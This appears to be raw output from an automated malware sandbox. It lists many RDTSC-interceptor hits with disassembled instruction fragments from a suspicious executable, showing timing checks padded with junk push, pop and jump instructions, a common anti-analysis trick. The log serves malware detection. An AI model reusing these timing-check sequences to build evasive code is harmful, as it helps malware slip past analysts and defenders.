Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 150B157 second address: 150B189 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF3B51FB936h 0x00000008 jmp 00007FF3B51FB942h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF3B51FB943h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 150B614 second address: 150B618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 150BA63 second address: 150BA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jnc 00007FF3B51FB945h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 150BBFD second address: 150BC1E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF3B4EE5417h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 150BC1E second address: 150BC22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 150BC22 second address: 150BC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b js 00007FF3B4EE5406h 0x00000011 jmp 00007FF3B4EE540Fh 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 150BC47 second address: 150BC56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 150BC56 second address: 150BC75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3B4EE5419h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1511FBD second address: 1511FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 15199A0 second address: 15199BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF3B4EE540Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 15199BF second address: 15199C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1519C70 second address: 1519C7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push edi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1519C7B second address: 1519C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007FF3B51FB936h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1519F0F second address: 1519F13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1519F13 second address: 1519F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FF3B51FB942h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1519F2E second address: 1519F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1519F34 second address: 1519F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF3B51FB936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 151A0D7 second address: 151A0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF3B4EE5406h 0x0000000a pop edi 0x0000000b push edi 0x0000000c jc 00007FF3B4EE5406h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 151A0EA second address: 151A0F7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007FF3B51FB936h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 151A27B second address: 151A291 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF3B4EE540Ch 0x00000008 jl 00007FF3B4EE5406h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 151A291 second address: 151A297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 151A68D second address: 151A693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 151A693 second address: 151A697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 151A697 second address: 151A69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1519410 second address: 151941E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007FF3B51FB936h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 15214E5 second address: 15214E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 15214E9 second address: 15214F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007FF3B51FB938h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1531C5C second address: 1531C68 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF3B4EE5406h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1535B89 second address: 1535B8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1535B8D second address: 1535B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1535B96 second address: 1535B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1546A80 second address: 1546A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF3B4EE5418h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1546A9D second address: 1546AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF3B51FB936h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1546AA9 second address: 1546AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154F9B2 second address: 154F9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154F9BB second address: 154F9D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B4EE5413h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154F9D2 second address: 154F9F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB948h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154F9F0 second address: 154F9F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154F9F8 second address: 154F9FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154F9FC second address: 154FA00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154FA00 second address: 154FA0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FF3B51FB93Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154E2F0 second address: 154E31D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF3B4EE5406h 0x00000008 je 00007FF3B4EE5406h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jne 00007FF3B4EE5406h 0x00000019 jmp 00007FF3B4EE5412h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154E459 second address: 154E45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154E597 second address: 154E59C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154E59C second address: 154E5BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007FF3B51FB938h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FF3B51FB93Bh 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154E878 second address: 154E8A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FF3B4EE5406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF3B4EE5411h 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007FF3B4EE5408h 0x0000001a push eax 0x0000001b pop eax 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154E8A3 second address: 154E8A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 154ECC9 second address: 154ECFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 jo 00007FF3B4EE5406h 0x0000000d popad 0x0000000e jmp 00007FF3B4EE5414h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 js 00007FF3B4EE540Eh 0x0000001d pushad 0x0000001e popad 0x0000001f jnc 00007FF3B4EE5406h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1554870 second address: 1554890 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF3B51FB936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF3B51FB946h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 15549F6 second address: 1554A12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3B4EE5416h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1554A12 second address: 1554A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 159A33A second address: 159A356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B4EE540Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FF3B4EE5406h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 159A356 second address: 159A35A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 159A35A second address: 159A37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF3B4EE5406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FF3B4EE540Eh 0x00000015 je 00007FF3B4EE5406h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jne 00007FF3B4EE5406h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 159A37F second address: 159A389 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF3B51FB936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 15A65F3 second address: 15A65FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF3B4EE5406h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 15A65FE second address: 15A6606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 15A6606 second address: 15A660A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 15A67A4 second address: 15A67C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FF3B51FB949h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166B94F second address: 166B98E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5418h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF3B4EE5418h 0x00000013 jnp 00007FF3B4EE5406h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166B98E second address: 166B992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166B992 second address: 166B9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B4EE540Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166BDD6 second address: 166BDE6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007FF3B51FB936h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166BDE6 second address: 166BDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166C68F second address: 166C693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166F2F0 second address: 166F2F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166F2F4 second address: 166F2FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166F672 second address: 166F677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166F677 second address: 166F67C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 166F9FD second address: 166FA3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push dword ptr [ebp+122D257Fh] 0x00000013 mov dword ptr [ebp+122D1A0Dh], eax 0x00000019 push 9BC111E1h 0x0000001e jns 00007FF3B4EE541Fh 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FF3B4EE540Dh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980013 second address: 7980030 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980030 second address: 7980054 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF3B4EE540Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980054 second address: 798006A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov dx, ax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798006A second address: 79800A4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF3B4EE540Eh 0x00000008 and ch, FFFFFFF8h 0x0000000b jmp 00007FF3B4EE540Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF3B4EE5416h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79800A4 second address: 7980140 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF3B51FB942h 0x00000008 adc cl, FFFFFF88h 0x0000000b jmp 00007FF3B51FB93Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007FF3B51FB946h 0x0000001b mov eax, dword ptr fs:[00000030h] 0x00000021 jmp 00007FF3B51FB940h 0x00000026 sub esp, 18h 0x00000029 pushad 0x0000002a movzx eax, bx 0x0000002d mov cx, bx 0x00000030 popad 0x00000031 push eax 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FF3B51FB940h 0x00000039 xor si, 3078h 0x0000003e jmp 00007FF3B51FB93Bh 0x00000043 popfd 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FF3B51FB946h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980140 second address: 7980191 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF3B4EE5412h 0x00000008 adc eax, 12C61A08h 0x0000000e jmp 00007FF3B4EE540Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov dword ptr [esp], ebx 0x0000001a jmp 00007FF3B4EE5416h 0x0000001f mov ebx, dword ptr [eax+10h] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 movsx edi, cx 0x00000028 mov ax, 2575h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980191 second address: 7980197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980197 second address: 798019B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798019B second address: 79801BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF3B51FB93Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980288 second address: 798029B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE540Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798029B second address: 79802D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF3B51FB93Ah 0x00000013 sbb cl, FFFFFF98h 0x00000016 jmp 00007FF3B51FB93Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79802D8 second address: 79802DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79802DD second address: 7980335 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB93Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov dx, si 0x0000000e call 00007FF3B51FB940h 0x00000013 mov esi, 491F0541h 0x00000018 pop eax 0x00000019 popad 0x0000001a call dword ptr [76FF0B60h] 0x00000020 mov eax, 7571E5E0h 0x00000025 ret 0x00000026 pushad 0x00000027 mov dh, C0h 0x00000029 pushad 0x0000002a mov bx, si 0x0000002d mov cl, B6h 0x0000002f popad 0x00000030 popad 0x00000031 push 00000044h 0x00000033 pushad 0x00000034 push edi 0x00000035 mov cx, 3821h 0x00000039 pop eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FF3B51FB93Dh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 7980335 second address: 798039C instructions: 0x00000000 rdtsc 0x00000002 call 00007FF3B4EE5410h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF3B4EE5417h 0x00000013 sbb cx, A02Eh 0x00000018 jmp 00007FF3B4EE5419h 0x0000001d popfd 0x0000001e jmp 00007FF3B4EE5410h 0x00000023 popad 0x00000024 xchg eax, edi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 798039C second address: 79803A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79803A0 second address: 79803A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 79803A4 second address: 79803AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
